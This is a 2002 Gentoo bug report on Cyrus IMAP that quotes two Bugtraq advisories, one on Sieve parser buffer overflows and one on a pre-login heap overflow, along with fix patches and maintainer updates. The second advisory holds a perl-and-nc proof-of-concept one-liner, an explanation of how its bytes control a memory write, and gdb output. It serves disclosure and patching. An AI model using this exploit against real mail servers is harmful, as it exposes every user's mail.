Gentoo Websites Logo
Go to: Gentoo Home Documentation Forums Lists Bugs Planet Store Wiki Get Gentoo!
Bug 11537 - net-mail/cyrus-imap*
Summary: net-mail/cyrus-imap*
Status: RESOLVED FIXED
Alias: None
Product: Gentoo Linux
Classification: Unclassified
Component: New packages (show other bugs)
Hardware: x86 Linux
: Lowest critical (vote)
Assignee: Gentoo Security
URL:
Whiteboard:
Keywords:
Depends on:
Blocks:
 
Reported: 2002-12-03 09:36 UTC by Daniel Ahlberg (RETIRED)
Modified: 2003-02-04 19:42 UTC (History)
0 users

See Also:
Package list:
Runtime testing required: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Daniel Ahlberg (RETIRED) gentoo-dev 2002-12-03 09:36:58 UTC
Cyrus Sieve / libSieve buffer overflow

From: 
Timo Sirainen <tss@iki.fi>


To: 
bugtraq@securityfocus.com


Date: 
Mon, 2 Dec 2002 19:56:45 +0200


problem
-------

Cyrus' Sieve implementation contains a couple of classic string based
buffer overflows in script parsing code. Anyone who can execute Sieve
scripts can exploit these bugs. Versions up to libSieve 2.1.2 and Cyrus
IMAP 2.1.10 are affected.

Note that with Cyrus IMAP server exploiting this gives you the privileges
of Cyrus user, capable of reading all users mails.

Problem comes when giving the script a >100 chars long corrupted header
name, >100 chars long IMAP flag or a script that contains lots of errors
to overflow the 500 char limit in error message.

fix
---

Apply the included patch. Note that this changes only the yacc files, you
still need to generate .c files from them. libSieve 2.1.3 will hopefully
also contain some more hardening against potential buffer overflows.

diff -ru cyrus-imapd-2.1.10-old/sieve/addr.y cyrus-imapd-2.1.10/sieve/addr.y
--- cyrus-imapd-2.1.10-old/sieve/addr.y 2002-10-28 18:30:18.000000000 +0200
+++ cyrus-imapd-2.1.10/sieve/addr.y     2002-12-02 04:52:58.000000000 +0200
@@ -82,8 +82,9 @@
 /* copy address error message into buffer provided by sieve parser */
 int yyerror(char *s)
 {
-extern char addrerr[];
+extern char addrerr[512];
 
-    strcpy(addrerr, s);
+    strncpy(addrerr, s, sizeof(addrerr)-1);
+    addrerr[sizeof(addrerr)-1] = '\0';
     return 0;
 }
diff -ru cyrus-imapd-2.1.10-old/sieve/sieve.y cyrus-imapd-2.1.10/sieve/sieve.y
--- cyrus-imapd-2.1.10-old/sieve/sieve.y        2002-05-14 19:51:50.000000000 +0300
+++ cyrus-imapd-2.1.10/sieve/sieve.y    2002-12-02 03:57:17.000000000 +0200
@@ -810,7 +810,7 @@
     addrptr = s;
     addrerr[0] = '\0'; /* paranoia */
     if (addrparse()) {
-       sprintf(errbuf, "address '%s': %s", s, addrerr);
+       snprintf(errbuf, sizeof(errbuf), "address '%s': %s", s, addrerr);
        yyerror(errbuf);
        return 0;
     }
@@ -835,7 +835,7 @@
           ;  controls, SP, and
           ;  ":". */
        if (!((*h >= 33 && *h <= 57) || (*h >= 59 && *h <= 126))) {
-           sprintf(errbuf, "header '%s': not a valid header", hdr);
+           snprintf(errbuf, sizeof(errbuf), "header '%s': not a valid header",
hdr);
            yyerror(errbuf);
            return 0;
        }
@@ -853,14 +853,14 @@
        if (strcmp(f, "\\seen") && strcmp(f, "\\answered") &&
            strcmp(f, "\\flagged") && strcmp(f, "\\draft") &&
            strcmp(f, "\\deleted")) {
-           sprintf(errbuf, "flag '%s': not a system flag", f);
+           snprintf(errbuf, sizeof(errbuf), "flag '%s': not a system flag", f);
            yyerror(errbuf);
            return 0;
        }
        return 1;
     }
     if (!imparse_isatom(f)) {
-       sprintf(errbuf, "flag '%s': not a valid keyword", f);
+       snprintf(errbuf, sizeof(errbuf), "flag '%s': not a valid keyword", f);
        yyerror(errbuf);
        return 0;
     }
Comment 1 Daniel Ahlberg (RETIRED) gentoo-dev 2002-12-03 09:37:11 UTC
pre-login buffer overflow in Cyrus IMAP server

From: 
Timo Sirainen <tss@iki.fi>


To: 
bugtraq@securityfocus.com


Date: 
Mon, 2 Dec 2002 19:56:06 +0200


problem
-------

Cyrus IMAP server has a a remotely exploitable pre-login buffer overflow. I
checked versions 1.4 (oldest in web page) and 2.1.10 which both had it, so
apparently all versions are affected.

Problem is that literal lengths aren't verified to be in any reasonable
range. The length + 2 is then malloc()ed and later written into. So given
length of 2^32-1, we get malloc(1) call but ability to write 2^32-1 bytes
there.

Note that you don't have to log in before exploiting this, and since Cyrus
runs everything under one UID, it's possible to read every user's mail in
the system.

I verified that this is exploitable with GLIBC 2.3.1. Probably possible
with older glibcs as well although they had somewhat different malloc()
code. No idea about other libcs, BSD ones look safe. There could be of
course other ways to exploit it than just malloc headers.

(BTW. Why is it that glibc's malloc implementation is almost begging to be
exploited? I don't think it would be that difficult to create safer
implementation with internal structures in separate memory pages, possibly
even separated with non-writable page(s) between. Could even be faster
because of better CPU cache utilization, and maybe made to take less
memory.)

There's several other malloc/integer related problems where it's possible
to read over 2GB strings from clients into memory accessing it with signed
integers, finally wrapping into -2^31. That's probably not too bad since it
can work only with >2GB process limits (only 64bit architectures I'd think)
and even then it would quite likely access only unmapped memory.

Authors were first contacted 30. October, I think it's way past the fix
time.

semi-exploit
------------

perl -e 'print "x login
{4294967295}\r\n\xf0\xef\xff\xbf\x90\xef\xff\xbf\xfc\xff\xff\xff\xfc\xff\xff\xff";'|nc
localhost imap2
<ctrl-c>

The first 4 bytes specify the address where you want to write to in memory
and the next 4 bytes is the data to be written there (must be a readable
memory address). Rest of the bytes are overwriting prev_size and size in
malloc header. The above values work with cyrus21 package in Debian
unstable/x86. gdb verifies that the call was successful:

Program received signal SIGSEGV, Segmentation fault.
0xbfffef90 in ?? ()
(gdb) bt
#0  0xbfffef90 in ?? ()
#1  0x400233e9 in prop_dispose () from /usr/lib/libsasl2.so.2
#2  0x4002ae1a in sasl_setpass () from /usr/lib/libsasl2.so.2
#3  0x40026cd2 in sasl_dispose () from /usr/lib/libsasl2.so.2

Shouldn't be too hard to come up with a real exploit from there on.

You also need to make one "x logout\n" connection first to trigger the
exploit (Cyrus reuses the processes).

fix
---

Apply the included patch and set some reasonable ulimits to make sure the
other integer overflows won't hit you in future.

diff -ru cyrus-imapd-2.1.10-old/imap/imapparse.c cyrus-imapd-2.1.10/imap/imapparse.c
--- cyrus-imapd-2.1.10-old/imap/imapparse.c     2002-06-24 21:58:41.000000000 +0300
+++ cyrus-imapd-2.1.10/imap/imapparse.c 2002-11-29 00:20:44.000000000 +0200
@@ -97,7 +97,7 @@
               struct buf *buf, int type)
 {
     int c;
-    int i;
+    unsigned int i;
     unsigned int len = 0;
     int sawdigit = 0;
     int isnowait;
@@ -228,6 +228,16 @@
            if (c != EOF) prot_ungetc(c, pin);
            return EOF;
        }
+       if (len > 65536) {
+           if (isnowait) {
+               for (i = 0; i < len; i++)
+                   c = prot_getc(pin);
+           }
+           prot_printf(pout, "* BAD Literal too large\r\n");
+           prot_flush(pout);
+           if (c != EOF) prot_ungetc(c, pin);
+           return EOF;
+       }
        if (len >= buf->alloc) {
            buf->alloc = len+1;
            buf->s = xrealloc(buf->s, buf->alloc+1);
Comment 2 Nick Hadaway 2002-12-03 21:27:10 UTC
I have added cyrus-sasl-2.1.9 has stable to portage.
I have also added cyrus-imap*-2.1.10 to portage marked unstable.  It contains
the included patches.  As a note, the included diffs did not work, I needed to
manually make the changes and create the diffs.

Please test and let me know if things work properly for you with these updated
packages.
Comment 3 Nick Hadaway 2002-12-04 17:14:28 UTC
as soon as I put up 2.1.10 w/fixes it seems they were pulled from the servers. 
blah.  2.1.11 has been released w/the fixes included.  I am going through the
ebuild currently and making sure it builds with full support.  I have slowly,
one by one gotten rid of just about every warning and error that shows up. 
Almost done. :)
Comment 4 Nick Hadaway 2002-12-07 19:05:18 UTC
cyrus-imap*-2.1.11 has been added to portage.  Please test this release and 
let me know if you run into any problems.
Comment 5 Daniel Ahlberg (RETIRED) gentoo-dev 2002-12-15 07:17:54 UTC
Any problems with 2.1.11 so far? 
Comment 6 Daniel Ahlberg (RETIRED) gentoo-dev 2002-12-27 17:19:28 UTC
unmasked and glsa sent.